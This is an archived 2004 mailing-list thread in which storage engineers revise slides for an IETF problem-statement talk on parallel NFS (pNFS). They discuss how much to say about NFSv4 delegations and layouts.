[9.149.38.129]) by mtagate7.uk.ibm.com (8.12.10/8.12.10) with ESMTP id i1NGPc4n121918 for ; Mon, 23 Feb 2004 16:25:39 GMT Received: from d12ml102.megacenter.de.ibm.com (d06av02.portsmouth.uk.ibm.com [9.149.37.228]) by d06nrmr1307.portsmouth.uk.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i1NGPbtS240322 for ; Mon, 23 Feb 2004 16:25:38 GMT In-Reply-To: <6.0.3.0.0.20040222194310.01b7da00@silver.nane.netapp.com> To: pnfs-reqs@yahoogroups.com Cc: pnfs-reqs@yahoogroups.com MIME-Version: 1.0 X-Mailer: Lotus Notes Release 6.5 September 26, 2003 Message-ID: Date: Mon, 23 Feb 2004 18:27:36 +0200 X-MIMETrack: Serialize by Router on D12ML102/12/M/IBM(Release 6.0.2CF2|July 23, 2003) at 23/02/2004 18:27:37, Serialize complete at 23/02/2004 18:27:37 Content-Type: text/plain; charset=""UTF-8"" Content-Transfer-Encoding: base64 X-eGroups-Remote-IP: 195.212.29.140 From: Julian Satran Subject: Re: [pnfs-reqs] RE: NEPS-REQS: getting started X-Yahoo-Group-Post: member; u=64714603 X-Yahoo-Profile: julian_satran ""Talpey, Thomas"" wrote on 23/02/2004 02:48:40: > What is ""EDA"" (slide 3)? Spell it out, whatever it is! :-) > I wouldn't include ""FCIP"" on slide 5. Does anyone use it, > especially for storage? And I would include NFS-RDMA - as an NFS extension example that IETF is doing. > I think there should be another slide after slide 2, which > drills down at least a little into the ideas that have been > discussed. It's a good place to establish the context of > the presentation - as it is there isn't really any ""proposal"". > I'm thinking maybe a single bullet for some or all of the > whitepapers at NEPS? > Tom. > At 06:44 PM 2/22/2004, Garth Gibson wrote: > >I understand the sensitivity of IETF to having solutions presented > >instead of problems. > > > >Here is a revision following the recommendations below, with some word > >choices of my own. Specifically, I'm reluctant to say nothing about > >how NFSv4 is better for fixing this than NFSv3; that is, the definition > >of NFSv4 creates the opportunity for ""direct"" or ""out-of-band"" access. > > > >Page 5: the two lines in question, > > > >- NFSv4, relative to NFSv3, has enhanced client side optimizations > >- NFSv4 minor extensions may suffice for incremental functionality > > > >Page 6: last section: > > > >Much interest in exploring NFSv4 extensions to meet scalability needs > >- Extend NFSv4 ���delegations��� to provide ���layout��� information to clients > >- Clients use ���layout��� to directly access storage, avoiding > >single-server bottleneck > >- NFS, SCSI Block, and SCSI Object ���layout��� formats all discussed > >- Support for multiple ���layout��� formats desirable (and looks doable) > > > >Dave, how is this? > > > >garth > > > > > >On Feb 22, 2004, at 1:22 PM, Noveck, Dave wrote: > > > >> I have some suggestions on slides 5 and 6. > >> > >> I would drop the line about delegations from this slide. Unless > >> you come to this from the sorts of discussions we have been having > >> (and thus aren't the critical part of the audience), this is > >> really not going to be understandable. One problem that we have > >> in presenting this is that if we explain the situation, we wind up > >> having to explain that we think we pretty much know how to do this > >> already and just need the IETF to bless our choice (I'm exaggerating > >> but only some), and that isn't likely to go down very well with a > >> lot of people. > >> > >> I'd express the last sub-bullet in this section as something like: > >> > >> NFSv4 minor version model a good way to provide incremental > >> extensions > >> > >> which doesn't say that we know pretty much what these are (but it > >> doesn't say we don't :-) > >> > >> As to the last section of slide 6, I'd revise to be something like > >> the following, again to reduce the we-know-how-to-do-this tone. > >> > >> Much interest in exploring how v4 could be extended to solve this > >> > >> Extension of delegations to provide ""layout"" information to > >> clients > >> > >> Clients use layout information to do IO and avoid > >> single-server bottleneck > >> > >> NFS, SCSI Block, SCSI Object layout formats all discussed > >> > >> Support for multiple formats looks desirable (and doable). > >> > >> -----Original Message----- > >> From: Garth Gibson [mailto:garth@panasas.com] > >> Sent: Friday, February 20, 2004 7:22 PM > >> To: pnfs-reqs@yahoogroups.com > >> Subject: Re: [pnfs-reqs] RE: NEPS-REQS: getting started > >> > >> > >> Based on feedback from Brent's concall 8 days ago, here is my cut at > >> Gary's proposal for a short problem statement introduction > >> presentation. > >> > >> garth > >> > > > > > > > >------------------------ Yahoo! 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Terms of Service. >From julian_satran@il.ibm.com Mon Feb 23 08:26:01 2004 Return-Path: X-Sender: Julian_Satran@il.ibm.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 50171 invoked from network); 23 Feb 2004 16:25:42 -0000 Received: from unknown (66.218.66.216) by m16.grp.scd.yahoo.com with QMQP; 23 Feb 2004 16:25:42 -0000 Received: from unknown (HELO mtagate5.uk.ibm.com) (195.212.29.138) by mta1.grp.scd.yahoo.com with SMTP; 23 Feb 2004 16:25:40 -0000 Received: from d06nrmr1307.portsmouth.uk.ibm.com (d06nrmr1307.portsmouth.uk.ibm.com [9.149.38.129]) by mtagate5.uk.ibm.com (8.12.10/8.12.10) with ESMTP id i1NGPcWH026470 for ; Mon, 23 Feb 2004 16:25:38 GMT Received: from d12ml102.megacenter.de.ibm.com (d06av02.portsmouth.uk.ibm.com [9.149.37.228]) by d06nrmr1307.portsmouth.uk.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i1NGPbtT240322 for ; Mon, 23 Feb 2004 16:25:38 GMT In-Reply-To: To: pnfs-reqs@yahoogroups.com Cc: pnfs-reqs@yahoogroups.com MIME-Version: 1.0 X-Mailer: Lotus Notes Release 6.5 September 26, 2003 Message-ID: Date: Mon, 23 Feb 2004 18:27:36 +0200 X-MIMETrack: Serialize by Router on D12ML102/12/M/IBM(Release 6.0.2CF2|July 23, 2003) at 23/02/2004 18:27:38 Content-Type: multipart/mixed; boundary=""=_mixed 00567A40C2256E43_="" X-eGroups-Remote-IP: 195.212.29.138 From: Julian Satran Subject: Re: [pnfs-reqs] RE: NEPS-REQS: getting started X-Yahoo-Group-Post: member; u=64714603 X-Yahoo-Profile: julian_satran The only think fair to say (I think) is that there are initial ideas. Otherwise the community may not like that you inted to push what they'll perceive as a done deal. So it is fair to mention things like delegations - but beyond ""solutions could be based on"". Julo Garth Gibson 23/02/2004 03:52 Please respond to pnfs-reqs To pnfs-reqs@yahoogroups.com cc Subject Re: [pnfs-reqs] RE: NEPS-REQS: getting started Okay, I think I'm in tune with all of Dave Noveck's comments and the first two of these comments from Tom. The third comment, calling for more description of the ideas that were in the NEPS workshop, has me confused. I think Dave has been encouraging that the proposal have less in the way of what the IETF should do to solve this problem, and I read this request as suggesting that we have more in the way of proposals for the solution. I'm certain we can do either, and I think I'd like to hear a little more direction from the group. Do we stay with this mostly solution free problem presentation, or do we add more about layout delegations and other NEPS proposed ideas? garth On Feb 22, 2004, at 7:48 PM, Talpey, Thomas wrote: > What is ""EDA"" (slide 3)? Spell it out, whatever it is! :-) > > I wouldn't include ""FCIP"" on slide 5. Does anyone use it, > especially for storage? > > I think there should be another slide after slide 2, which > drills down at least a little into the ideas that have been > discussed. It's a good place to establish the context of > the presentation - as it is there isn't really any ""proposal"". > I'm thinking maybe a single bullet for some or all of the > whitepapers at NEPS? > > Tom. > > At 06:44 PM 2/22/2004, Garth Gibson wrote: >> I understand the sensitivity of IETF to having solutions presented >> instead of problems. >> >> Here is a revision following the recommendations below, with some word >> choices of my own. Specifically, I'm reluctant to say nothing about >> how NFSv4 is better for fixing this than NFSv3; that is, the >> definition > >> of NFSv4 creates the opportunity for ""direct"" or ""out-of-band"" access. >> >> Page 5: the two lines in question, >> >> - NFSv4, relative to NFSv3, has enhanced client side optimizations >> - NFSv4 minor extensions may suffice for incremental functionality >> >> Page 6: last section: >> >> Much interest in exploring NFSv4 extensions to meet scalability needs >> - Extend NFSv4 ""delegations"" to provide ""layout"" information to >> clients > >> - Clients use ""layout"" to directly access storage, avoiding >> single-server bottleneck >> - NFS, SCSI Block, and SCSI Object ""layout"" formats all discussed >> - Support for multiple ""layout"" formats desirable (and looks doable) >> >> Dave, how is this? >> >> garth >> >> >> On Feb 22, 2004, at 1:22 PM, Noveck, Dave wrote: >> >>> I have some suggestions on slides 5 and 6. >>> >>> I would drop the line about delegations from this slide. Unless >>> you come to this from the sorts of discussions we have been having >>> (and thus aren't the critical part of the audience), this is >>> really not going to be understandable. One problem that we have >>> in presenting this is that if we explain the situation, we wind up >>> having to explain that we think we pretty much know how to do this >>> already and just need the IETF to bless our choice (I'm exaggerating >>> but only some), and that isn't likely to go down very well with a >>> lot of people. >>> >>> I'd express the last sub-bullet in this section as something like: >>> >>> NFSv4 minor version model a good way to provide incremental >>> extensions >>> >>> which doesn't say that we know pretty much what these are (but it >>> doesn't say we don't :-) >>> >>> As to the last section of slide 6, I'd revise to be something like >>> the following, again to reduce the we-know-how-to-do-this tone. >>> >>> Much interest in exploring how v4 could be extended to solve >>> this >>> >>> Extension of delegations to provide ""layout"" information >>> to clients >>> >>> Clients use layout information to do IO and avoid >>> single-server bottleneck >>> >>> NFS, SCSI Block, SCSI Object layout formats all discussed >>> >>> Support for multiple formats looks desirable (and doable). >>> >>> -----Original Message----- >>> From: Garth Gibson [ mailto:garth@panasas.com >>> ] >>> Sent: Friday, February 20, 2004 7:22 PM >>> To: pnfs-reqs@yahoogroups.com >>> Subject: Re: [pnfs-reqs] RE: NEPS-REQS: getting started >>> >>> >>> Based on feedback from Brent's concall 8 days ago, here is my cut at >>> Gary's proposal for a short problem statement introduction >>> presentation. >>> >>> garth Yahoo! Groups Links Attachment (not stored) pNFS-intro-2-22.2.ppt Type: application/octet-stream >From mclarty3@llnl.gov Mon Feb 23 11:15:50 2004 Return-Path: X-Sender: mclarty3@llnl.gov X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 52894 invoked from network); 23 Feb 2004 19:15:47 -0000 Received: from unknown (66.218.66.172) by m12.grp.scd.yahoo.com with QMQP; 23 Feb 2004 19:15:47 -0000 Received: from unknown (HELO smtp-4.llnl.gov) (128.115.41.84) by mta4.grp.scd.yahoo.com with SMTP; 23 Feb 2004 19:15:47 -0000 Received: from poptop.llnl.gov (localhost [127.0.0.1]) by smtp-4.llnl.gov (8.12.3p2-20030917/8.12.3/LLNL evision: 1.13 $) with ESMTP id i1NJETNU015799; Mon, 23 Feb 2004 11:15:46 -0800 (PST) Received: from POLARBEAR.llnl.gov ([134.9.18.59] verified) by poptop.llnl.gov (CommuniGate Pro SMTP 4.0.6) with ESMTP id 36870990; Mon, 23 Feb 2004 11:15:23 -0800 Message-Id: <5.0.0.25.2.20040223110657.027281a0@poptop.llnl.gov> X-Sender: e002801@poptop.llnl.gov X-Mailer: QUALCOMM Windows Eudora Version 5.0 Date: Mon, 23 Feb 2004 11:15:22 -0800 To: pnfs-reqs@yahoogroups.com, pnfs-reqs@yahoogroups.com In-Reply-To: References: <6.0.3.0.0.20040222194310.01b7da00@silver.nane.netapp.com> <6.0.3.0.0.20040222194310.01b7da00@silver.nane.netapp.com> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed X-eGroups-Remote-IP: 128.115.41.84 From: Tyce McLarty Subject: Re: [pnfs-reqs] RE: NEPS-REQS: getting started X-Yahoo-Group-Post: member; u=169320772 X-Yahoo-Profile: mclarty3 ADVERTISEMENT At 08:52 PM 2/22/2004 -0500, Garth Gibson wrote: >Okay, I think I'm in tune with all of Dave Noveck's comments and the >first two of these comments from Tom. > >The third comment, calling for more description of the ideas that were >in the NEPS workshop, has me confused. I think Dave has been >encouraging that the proposal have less in the way of what the IETF >should do to solve this problem, and I read this request as suggesting >that we have more in the way of proposals for the solution. > >I'm certain we can do either, and I think I'd like to hear a little >more direction from the group. > >Do we stay with this mostly solution free problem presentation, or do >we add more about layout delegations and other NEPS proposed ideas? I think it depends on how we intend to use the ""presentation"". I expect two scenarios, neither of which involves the IETF: 1. I catch a higher level manager or VIP in the hall for a couple minutes: He gets slide 2 first. If he shows any interest at all give him the rest of slide 7. That's all he needs to know and he will almost surely lose interest if I try to tell him more. 2. Discussion with technical peer: Again start with slide 2 information. Expect that he will show enough interest to want it all. Have to use some judgement here. In case 2, I think being ready with what we are thinking about for a solution is on target. A technical type will find supporting an problem areas that we really want to find out about. You asked for opinions. Tyce >garth > > >On Feb 22, 2004, at 7:48 PM, Talpey, Thomas wrote: > > > What is ""EDA"" (slide 3)? Spell it out, whatever it is! :-) > > > > I wouldn't include ""FCIP"" on slide 5. Does anyone use it, > > especially for storage? > > > > I think there should be another slide after slide 2, which > > drills down at least a little into the ideas that have been > > discussed. It's a good place to establish the context of > > the presentation - as it is there isn't really any ""proposal"". > > I'm thinking maybe a single bullet for some or all of the > > whitepapers at NEPS? > > > > Tom. > > > > At 06:44 PM 2/22/2004, Garth Gibson wrote: > >> I understand the sensitivity of IETF to having solutions presented > >> instead of problems. > >> > >> Here is a revision following the recommendations below, with some word > >> choices of my own. Specifically, I'm reluctant to say nothing about > >> how NFSv4 is better for fixing this than NFSv3; that is, the > >> definition > > > >> of NFSv4 creates the opportunity for ""direct"" or ""out-of-band"" access. > >> > >> Page 5: the two lines in question, > >> > >> - NFSv4, relative to NFSv3, has enhanced client side optimizations > >> - NFSv4 minor extensions may suffice for incremental functionality > >> > >> Page 6: last section: > >> > >> Much interest in exploring NFSv4 extensions to meet scalability needs > >> - Extend NFSv4 ""delegations"" to provide ""layout"" information to > >> clients > > > >> - Clients use ""layout"" to directly access storage, avoiding > >> single-server bottleneck > >> - NFS, SCSI Block, and SCSI Object ""layout"" formats all discussed > >> - Support for multiple ""layout"" formats desirable (and looks doable) > >> > >> Dave, how is this? > >> > >> garth > >> > >> > >> On Feb 22, 2004, at 1:22 PM, Noveck, Dave wrote: > >> > >>> I have some suggestions on slides 5 and 6. > >>> > >>> I would drop the line about delegations from this slide. Unless > >>> you come to this from the sorts of discussions we have been having > >>> (and thus aren't the critical part of the audience), this is > >>> really not going to be understandable. One problem that we have > >>> in presenting this is that if we explain the situation, we wind up > >>> having to explain that we think we pretty much know how to do this > >>> already and just need the IETF to bless our choice (I'm exaggerating > >>> but only some), and that isn't likely to go down very well with a > >>> lot of people. > >>> > >>> I'd express the last sub-bullet in this section as something like: > >>> > >>> NFSv4 minor version model a good way to provide incremental > >>> extensions > >>> > >>> which doesn't say that we know pretty much what these are (but it > >>> doesn't say we don't :-) > >>> > >>> As to the last section of slide 6, I'd revise to be something like > >>> the following, again to reduce the we-know-how-to-do-this tone. > >>> > >>> Much interest in exploring how v4 could be extended to solve > >>> this > >>> > >>> Extension of delegations to provide ""layout"" information > >>> to clients > >>> > >>> Clients use layout information to do IO and avoid > >>> single-server bottleneck > >>> > >>> NFS, SCSI Block, SCSI Object layout formats all discussed > >>> > >>> Support for multiple formats looks desirable (and doable). > >>> > >>> -----Original Message----- > >>> From: Garth Gibson [ mailto:garth@panasas.com > >>> ] > >>> Sent: Friday, February 20, 2004 7:22 PM > >>> To: pnfs-reqs@yahoogroups.com > >>> Subject: Re: [pnfs-reqs] RE: NEPS-REQS: getting started > >>> > >>> > >>> Based on feedback from Brent's concall 8 days ago, here is my cut at > >>> Gary's proposal for a short problem statement introduction > >>> presentation. > >>> > >>> garth > > > > > >Yahoo! Groups Links > > > > > > >From Thomas.Talpey@netapp.com Mon Feb 23 12:00:05 2004 Return-Path: X-Sender: Thomas.Talpey@netapp.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 2658 invoked from network); 23 Feb 2004 20:00:02 -0000 Received: from unknown (66.218.66.172) by m7.grp.scd.yahoo.com with QMQP; 23 Feb 2004 20:00:02 -0000 Received: from unknown (HELO mx01.netapp.com) (198.95.226.53) by mta4.grp.scd.yahoo.com with SMTP; 23 Feb 2004 20:00:01 -0000 Received: from hawk.corp.netapp.com (hawk [10.57.156.122]) by mx01.netapp.com (8.12.10/8.12.10/NTAP-1.4) with ESMTP id i1NK00JC014888 for ; Mon, 23 Feb 2004 12:00:00 -0800 (PST) Received: from svlexc01.hq.netapp.com (svlexc01.corp.netapp.com [10.10.22.171]) by hawk.corp.netapp.com (8.12.9/8.12.9/NTAP-1.5) with ESMTP id i1NK00DU004861 for ; Mon, 23 Feb 2004 12:00:00 -0800 (PST) Received: from tmt.netapp.com ([10.97.6.37]) by silver.hq.netapp.com with Microsoft SMTPSVC(5.0.2195.5329); Mon, 23 Feb 2004 14:59:58 -0500 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=""----_=_NextPart_001_01C3FA47.9CFDB300"" X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0 content-class: urn:content-classes:message Date: Mon, 23 Feb 2004 11:59:51 -0800 Message-ID: <6.0.3.0.0.20040223145154.01c24c68@silver.nane.netapp.com> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [pnfs-reqs] RE: NEPS-REQS: getting started Thread-Index: AcP6R504DgBYzoRWQRWi2hKoiYvDNQ== To: X-eGroups-Remote-IP: 198.95.226.53 From: ""Talpey, Thomas"" Subject: Re: [pnfs-reqs] RE: NEPS-REQS: getting started X-Yahoo-Group-Post: member; u=44154239 X-Yahoo-Profile: tmtymailu ADVERTISEMENT click here Garth - sorry for the delay in responding. Connectathon calls. I don't mean to suggest presenting the NEPS ideas as task items. What I did mean was to use them to set some context, and show come diverse interests which pNFS is in the process of bringing together under the NFSv4 tent. The reason to bring them up early in the talk is because it's very abstract without them. Most folks are seeing this for the first time, they're going to want to know roughly what it's all about. It's an important message to the IETF as well - there are multiple viewpoints, there is discussion, there is unified desire to move it to the open IETF forum. Definitely don't drill down on them - just the basic components of each. At least, this is my idea - comments? Tom. At 08:52 PM 2/22/2004, Garth Gibson wrote: >Okay, I think I'm in tune with all of Dave Noveck's comments and the >first two of these comments from Tom. > >The third comment, calling for more description of the ideas that were >in the NEPS workshop, has me confused. I think Dave has been >encouraging that the proposal have less in the way of what the IETF >should do to solve this problem, and I read this request as suggesting >that we have more in the way of proposals for the solution. > >I'm certain we can do either, and I think I'd like to hear a little >more direction from the group. > >Do we stay with this mostly solution free problem presentation, or do >we add more about layout delegations and other NEPS proposed ideas? > >garth > > >On Feb 22, 2004, at 7:48 PM, Talpey, Thomas wrote: > >> What is ""EDA"" (slide 3)? Spell it out, whatever it is! :-) >> >> I wouldn't include ""FCIP"" on slide 5. Does anyone use it, >> especially for storage? >> >> I think there should be another slide after slide 2, which >> drills down at least a little into the ideas that have been >> discussed. It's a good place to establish the context of >> the presentation - as it is there isn't really any ""proposal"". >> I'm thinking maybe a single bullet for some or all of the >> whitepapers at NEPS? >> >> Tom. >> >> At 06:44 PM 2/22/2004, Garth Gibson wrote: >>> I understand the sensitivity of IETF to having solutions presented >>> instead of problems. >>> >>> Here is a revision following the recommendations below, with some word >>> choices of my own. Specifically, I'm reluctant to say nothing about >>> how NFSv4 is better for fixing this than NFSv3; that is, the >>> definition >> >>> of NFSv4 creates the opportunity for ""direct"" or ""out-of-band"" access. >>> >>> Page 5: the two lines in question, >>> >>> - NFSv4, relative to NFSv3, has enhanced client side optimizations >>> - NFSv4 minor extensions may suffice for incremental functionality >>> >>> Page 6: last section: >>> >>> Much interest in exploring NFSv4 extensions to meet scalability needs >>> - Extend NFSv4 ""delegations"" to provide ""layout"" information to >>> clients >> >>> - Clients use ""layout"" to directly access storage, avoiding >>> single-server bottleneck >>> - NFS, SCSI Block, and SCSI Object ""layout"" formats all discussed >>> - Support for multiple ""layout"" formats desirable (and looks doable) >>> >>> Dave, how is this? >>> >>> garth >>> >>> >>> On Feb 22, 2004, at 1:22 PM, Noveck, Dave wrote: >>> >>>> I have some suggestions on slides 5 and 6. >>>> >>>> I would drop the line about delegations from this slide. Unless >>>> you come to this from the sorts of discussions we have been having >>>> (and thus aren't the critical part of the audience), this is >>>> really not going to be understandable. One problem that we have >>>> in presenting this is that if we explain the situation, we wind up >>>> having to explain that we think we pretty much know how to do this >>>> already and just need the IETF to bless our choice (I'm exaggerating >>>> but only some), and that isn't likely to go down very well with a >>>> lot of people. >>>> >>>> I'd express the last sub-bullet in this section as something like: >>>> >>>> NFSv4 minor version model a good way to provide incremental >>>> extensions >>>> >>>> which doesn't say that we know pretty much what these are (but it >>>> doesn't say we don't :-) >>>> >>>> As to the last section of slide 6, I'd revise to be something like >>>> the following, again to reduce the we-know-how-to-do-this tone. >>>> >>>> Much interest in exploring how v4 could be extended to solve >>>> this >>>> >>>> Extension of delegations to provide ""layout"" information >>>> to clients >>>> >>>> Clients use layout information to do IO and avoid >>>> single-server bottleneck >>>> >>>> NFS, SCSI Block, SCSI Object layout formats all discussed >>>> >>>> Support for multiple formats looks desirable (and doable). >>>> >>>> -----Original Message----- >>>> From: Garth Gibson [ mailto:garth@panasas.com >>>> ] >>>> Sent: Friday, February 20, 2004 7:22 PM >>>> To: pnfs-reqs@yahoogroups.com >>>> Subject: Re: [pnfs-reqs] RE: NEPS-REQS: getting started >>>> >>>> >>>> Based on feedback from Brent's concall 8 days ago, here is my cut at >>>> Gary's proposal for a short problem statement introduction >>>> presentation. >>>> >>>> garth > > > >------------------------ Yahoo! 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Groups is subject to: > http://docs.yahoo.com/info/terms/ > > > >From garth@panasas.com Thu Feb 26 08:07:43 2004 Return-Path: X-Sender: garth@panasas.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 48095 invoked from network); 26 Feb 2004 16:07:13 -0000 Received: from unknown (66.218.66.167) by m14.grp.scd.yahoo.com with QMQP; 26 Feb 2004 16:07:13 -0000 Received: from unknown (HELO PIKES.panasas.com) (65.194.124.178) by mta6.grp.scd.yahoo.com with SMTP; 26 Feb 2004 16:07:12 -0000 Received: from [127.0.0.1] ([172.17.19.3]) by PIKES.panasas.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id FWFX67WT; Thu, 26 Feb 2004 11:07:11 -0500 Mime-Version: 1.0 (Apple Message framework v612) Content-Transfer-Encoding: 7bit Message-Id: Content-Type: text/plain To: pnfs-reqs@yahoogroups.com Date: Thu, 26 Feb 2004 11:07:05 -0500 X-Mailer: Apple Mail (2.612) X-eGroups-Remote-IP: 65.194.124.178 From: Garth Gibson Subject: concall now to finalize problem statement slides for Seoul if possible X-Yahoo-Group-Post: member; u=169457820 X-Yahoo-Profile: garth_a_gibson >From Thomas.Talpey@netapp.com Thu Feb 26 14:32:10 2004 Return-Path: X-Sender: Thomas.Talpey@netapp.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 10494 invoked from network); 26 Feb 2004 22:32:08 -0000 Received: from unknown (66.218.66.166) by m16.grp.scd.yahoo.com with QMQP; 26 Feb 2004 22:32:08 -0000 Received: from unknown (HELO mx01.netapp.com) (198.95.226.53) by mta5.grp.scd.yahoo.com with SMTP; 26 Feb 2004 22:32:08 -0000 Received: from hawk.corp.netapp.com (hawk [10.57.156.122]) by mx01.netapp.com (8.12.10/8.12.10/NTAP-1.4) with ESMTP id i1QMW8JC015683 for ; Thu, 26 Feb 2004 14:32:08 -0800 (PST) Received: from svlexc01.hq.netapp.com (svlexc01.corp.netapp.com [10.10.22.171]) by hawk.corp.netapp.com (8.12.9/8.12.9/NTAP-1.5) with ESMTP id i1QMVlDY029216 for ; Thu, 26 Feb 2004 14:32:07 -0800 (PST) Received: from tmt.netapp.com ([10.97.6.35]) by silver.hq.netapp.com with Microsoft SMTPSVC(5.0.2195.5329); Thu, 26 Feb 2004 17:31:43 -0500 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=""----_=_NextPart_001_01C3FCB8.4F3BB180"" X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0 content-class: urn:content-classes:message Date: Thu, 26 Feb 2004 14:31:38 -0800 Message-ID: <6.0.3.0.2.20040226172850.01f42ec0@silver.nane.netapp.com> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [pnfs-reqs] concall now to finalize problem statement slides for Seoul if possible Thread-Index: AcP8uE/Rtfws08/2T2CcDBLrAGtqlA== To: X-eGroups-Remote-IP: 198.95.226.53 From: ""Talpey, Thomas"" Subject: Re: [pnfs-reqs] concall now to finalize problem statement slides for Seoul if possible X-Yahoo-Group-Post: member; u=44154239 X-Yahoo-Profile: tmtymailu Garth - sorry I couldn't join the call from the Far East. Could you please send the minutes and the latest version so I can comment? I'm ready to deliver the presentation, in any case. Tom. At 11:07 AM 2/26/2004, Garth Gibson wrote: > > > > >Yahoo! Groups Links > ><*> To visit your group on the web, go to: > http://groups.yahoo.com/group/pnfs-reqs/ > ><*> To unsubscribe from this group, send an email to: > pnfs-reqs-unsubscribe@yahoogroups.com > ><*> Your use of Yahoo! Groups is subject to: > http://docs.yahoo.com/info/terms/ > >From garth@panasas.com Thu Feb 26 18:36:42 2004 Return-Path: X-Sender: garth@panasas.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 83484 invoked from network); 27 Feb 2004 02:36:42 -0000 Received: from unknown (66.218.66.172) by m10.grp.scd.yahoo.com with QMQP; 27 Feb 2004 02:36:42 -0000 Received: from unknown (HELO PIKES.panasas.com) (65.194.124.178) by mta4.grp.scd.yahoo.com with SMTP; 27 Feb 2004 02:36:41 -0000 Received: from [127.0.0.1] ([172.17.19.3]) by PIKES.panasas.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id FWFX6066; Thu, 26 Feb 2004 21:36:39 -0500 Mime-Version: 1.0 (Apple Message framework v612) In-Reply-To: <6.0.3.0.2.20040226172850.01f42ec0@silver.nane.netapp.com> References: <6.0.3.0.2.20040226172850.01f42ec0@silver.nane.netapp.com> Content-Type: multipart/mixed; boundary=Apple-Mail-37-757939893 Message-Id: Date: Thu, 26 Feb 2004 21:36:27 -0500 To: pnfs-reqs@yahoogroups.com X-Mailer: Apple Mail (2.612) X-eGroups-Remote-IP: 65.194.124.178 From: Garth Gibson Subject: Re: [pnfs-reqs] concall now to finalize problem statement slides for Seoul if possible X-Yahoo-Group-Post: member; u=169457820 X-Yahoo-Profile: garth_a_gibson Tom and others In this mornings call Julian Satran, Peter Corbett, Benny Halevy and I discussed how to give Tom something more concrete to cut the level of abstraction without giving the appearance that we are providing a solution and not describing a problem. Here is a new draft, unchanged except that I added a slide after slide 2 that shows a ""Now vs Goal"" pair of diagrams of storage, NFS server and client and says ""Now: requested data moves through NFS server"" and ""Goal: reply from NFS server enables parallel access to storage servers."" Tom. Use it or not. Modify it as needed. You are the speaker :-) garth On Feb 26, 2004, at 5:31 PM, Talpey, Thomas wrote: > Garth - sorry I couldn't join the call from the Far East. > Could you please send the minutes and the latest > version so I can comment? I'm ready to deliver the > presentation, in any case. > > Tom. Attachment (not stored) pNFS-intro-2-26.ppt Type: application/vnd.ms-powerpoint >From garth@panasas.com Thu Feb 26 18:57:52 2004 Return-Path: X-Sender: garth@panasas.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 71470 invoked from network); 27 Feb 2004 02:57:51 -0000 Received: from unknown (66.218.66.166) by m17.grp.scd.yahoo.com with QMQP; 27 Feb 2004 02:57:51 -0000 Received: from unknown (HELO PIKES.panasas.com) (65.194.124.178) by mta5.grp.scd.yahoo.com with SMTP; 27 Feb 2004 02:57:51 -0000 Received: from [127.0.0.1] ([172.17.19.3]) by PIKES.panasas.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id FWFX609T; Thu, 26 Feb 2004 21:57:49 -0500 Mime-Version: 1.0 (Apple Message framework v612) In-Reply-To: <5.0.0.25.2.20040223110657.027281a0@poptop.llnl.gov> References: <6.0.3.0.0.20040222194310.01b7da00@silver.nane.netapp.com> <6.0.3.0.0.20040222194310.01b7da00@silver.nane.netapp.com> <5.0.0.25.2.20040223110657.027281a0@poptop.llnl.gov> Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed Message-Id: Content-Transfer-Encoding: 7bit Date: Thu, 26 Feb 2004 21:57:41 -0500 To: pnfs-reqs@yahoogroups.com X-Mailer: Apple Mail (2.612) X-eGroups-Remote-IP: 65.194.124.178 From: Garth Gibson Subject: Re: [pnfs-reqs] RE: NEPS-REQS: getting started X-Yahoo-Group-Post: member; u=169457820 X-Yahoo-Profile: garth_a_gibson ADVERTISEMENT Thanks Tyce. It is good that these slides are useful for internal and technical conversations as well as the IETF. I hope the additional slide helps with the technical conversations too. garth On Feb 23, 2004, at 2:15 PM, Tyce McLarty wrote: > At 08:52 PM 2/22/2004 -0500, Garth Gibson wrote: >> Okay, I think I'm in tune with all of Dave Noveck's comments and the >> first two of these comments from Tom. >> >> The third comment, calling for more description of the ideas that were >> in the NEPS workshop, has me confused. I think Dave has been >> encouraging that the proposal have less in the way of what the IETF >> should do to solve this problem, and I read this request as suggesting >> that we have more in the way of proposals for the solution. >> >> I'm certain we can do either, and I think I'd like to hear a little >> more direction from the group. >> >> Do we stay with this mostly solution free problem presentation, or do >> we add more about layout delegations and other NEPS proposed ideas? > > I think it depends on how we intend to use the ""presentation"". I > expect two > scenarios, neither of which involves the IETF: > > 1. I catch a higher level manager or VIP in the hall for a couple > minutes: > He gets slide 2 first. If he shows any interest at all give him the > rest of > slide 7. That's all he needs to know and he will almost surely lose > interest if I try to tell him more. > > 2. Discussion with technical peer: Again start with slide 2 > information. > Expect that he will show enough interest to want it all. Have to use > some > judgement here. > > In case 2, I think being ready with what we are thinking about for a > solution is on target. A technical type will find supporting an problem > areas that we really want to find out about. > > You asked for opinions. > > Tyce > > >> garth >> >> >> On Feb 22, 2004, at 7:48 PM, Talpey, Thomas wrote: >> >>> What is ""EDA"" (slide 3)? Spell it out, whatever it is! :-) >>> >>> I wouldn't include ""FCIP"" on slide 5. Does anyone use it, >>> especially for storage? >>> >>> I think there should be another slide after slide 2, which >>> drills down at least a little into the ideas that have been >>> discussed. It's a good place to establish the context of >>> the presentation - as it is there isn't really any ""proposal"". >>> I'm thinking maybe a single bullet for some or all of the >>> whitepapers at NEPS? >>> >>> Tom. >>> >>> At 06:44 PM 2/22/2004, Garth Gibson wrote: >>>> I understand the sensitivity of IETF to having solutions presented >>>> instead of problems. >>>> >>>> Here is a revision following the recommendations below, with some >>>> word >>>> choices of my 